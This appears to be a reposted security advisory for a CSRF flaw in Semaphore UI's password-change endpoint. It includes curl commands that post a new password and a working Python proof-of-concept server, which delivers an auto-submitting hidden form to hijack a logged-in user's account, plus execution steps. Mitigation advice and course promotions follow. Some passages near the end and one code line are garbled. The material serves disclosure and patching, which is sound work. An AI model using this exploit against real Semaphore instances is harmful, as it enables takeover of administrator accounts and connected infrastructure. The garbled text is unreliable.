Listen to this Post
Semaphore UI is a web interface designed for managing DevOps tools. Prior to version 2.18.21, the `/api/users/{id}/password` endpoint accepts a cross-site request using the authenticated user’s `semaphore` session cookie without implementing any CSRF protection or requiring current password confirmation. This allows an unauthenticated attacker to change an administrator’s or another user’s password after user interaction.
The vulnerability arises from three key security oversights in the password change mechanism. First, no CSRF token is required when submitting a password change request, meaning the endpoint does not verify that the request originated from the application’s own frontend. Second, the endpoint does not require the user to confirm their current password before setting a new one—a standard security control that would prevent unauthorized password changes even if a CSRF flaw existed. Third, authentication relies solely on a session cookie named `semaphore` with no `SameSite` enforcement, which allows cross-site requests to carry the user’s session credentials automatically.
An attacker can exploit this by hosting a malicious HTML page that contains a hidden form targeting the Semaphore UI password change endpoint. When an authenticated user visits this page, the form is submitted automatically via JavaScript, sending a POST request to `/api/users/{id}/password` with the new password specified by the attacker. Because the browser includes the user’s session cookie with the request, Semaphore UI accepts the password change as legitimate. The vulnerability has been tested with version 2.18.20.
The attack requires user interaction—the victim must visit the attacker’s malicious page while authenticated to Semaphore UI in the same browser. However, the low attack complexity and the fact that no privileges are required from the attacker make this a high-severity issue with a CVSS v3.1 base score of 8.3. The impact on confidentiality and integrity is high, as an attacker can gain full control over a victim’s account, including administrative privileges.
This issue has been fixed in Semaphore UI version 2.18.21.
DailyCVE Form:
Platform: Semaphore UI
Version: < 2.18.21
Vulnerability: CSRF Password Change
Severity: High (8.3 CVSS)
date: 2026-08-12
Prediction: Already Patched (2.18.21)
What Undercode Say:
Check current Semaphore UI version
curl -s http://semaphore:3000/api/info | jq '.version'
Check if endpoint lacks CSRF protection (PoC verification)
curl -X POST http://semaphore:3000/api/users/1/password \
-H "Content-Type: text/plain" \
-d '{"password": "pwn3d", "project_id": 1}' \
-v 2>&1 | grep -i "csrf|x-csrf"
Analytics:
- Endpoint: `/api/users/{id}/password`
– Missing Headers:X-CSRF-Token, `Origin` validation, `Referer` validation - Cookie Flags Missing: `SameSite=None` or `SameSite=Lax` not enforced
- Attack Vector: Network-based, requires user interaction
- CWE: CWE-352 (Cross-Site Request Forgery), CWE-620 (Unverified Password Change)
Exploit: (Educational Purposes!)
import logging
import argparse
from http.server import SimpleHTTPRequestHandler, HTTPServer
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(message)s')
def forge_malicious_page(target, user_id, newpassword):
return f"""
<html>
<body>
<form id="CSRF_POC" action="{target}/api/users/{user_id}/password"
enctype="text/plain" method="POST">
<input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
</body>
</html>
"""
parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id", type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri", help="Base URI to target", required=True)
parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port", help="Port to run server", default=1337)
args = parser.parse_args()
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
logging.info("Client: %s | Path: %s", self.client_address[bash], self.path)
content = forge_malicious_page(args.uri, args.user_id, args.new_password).encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
httpd = HTTPServer(("", args.port), Handler)
logging.info("[] Serving malicious page at port %s", args.port)
httpd.serve_forever()
Execution Example:
python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337
1. Run the script targeting the Semaphore instance with the victim’s user ID.
2. Authenticate to Semaphore UI in another browser tab.
3. Visit http://localhost:1337` in the same browser.pwn3d
<h2 style="color: blue;">4. The password is silently changed to.</h2>/api/users/{id}/password`.
<h2 style="color: blue;">Protection:</h2>
- Upgrade Semaphore UI to version 2.18.21 or later.
- Implement CSRF tokens on all state-changing endpoints, particularly
– Require current password confirmation before allowing password changes.
– Enforce `SameSite=Lax` or `SameSite=Strict` on session cookies to prevent cross-site request submission.
– Validate `Origin` and `Referer` headers on sensitive API endpoints.
– Apply network-level restrictions if immediate upgrade is not possible (e.g., restrict access to the Semaphore UI admin interface to trusted networks only).
Impact:
An unauthenticated attacker can trick any authenticated user—including administrators—into visiting a malicious website, which silently submits a password change request to the Semaphore UI instance. The attacker can then take over the victim’s account and gain full control over the Semaphore instance, including the ability to manage projects, modify infrastructure configurations, and access sensitive DevOps credentials. Given that Semaphore UI is used for managing DevOps tools, this could lead to widespread compromise of connected systems and infrastructure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
